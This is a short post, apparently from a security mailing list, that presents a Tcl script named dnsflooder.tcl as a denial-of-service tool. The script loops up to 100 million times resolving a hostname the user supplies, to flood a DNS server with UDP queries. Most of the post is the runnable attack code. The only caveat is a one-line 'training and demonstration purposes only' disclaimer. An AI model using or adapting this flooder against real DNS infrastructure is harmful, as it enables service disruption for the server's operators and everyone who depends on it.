DoS dns-udp flooder via tcl

Here's a DoS tool for the generation of udp traffic and  towards a dns server .

#!/usr/local/bin/tclsh
#
# dnsflooder.tcl  dns_flood-traffic generation  DoS tool
#
# rev 1.0
package require dns
#
#
if { $::argc eq 0 } {
   puts ""
   puts "USAGE: $::argv0 www.example.com"
   puts ""
   exit 1
}


set query $argv



for {set h 0} {$h <= 99999999} {incr h} {
   set dns  [::dns::resolve $query ]

 }

Be warn, for training and Demonstration purposes only

Ken Felix
Freelance Network and Security Engineer
kfelix -at- hyperfeed -dot- com

( @  @ )
       O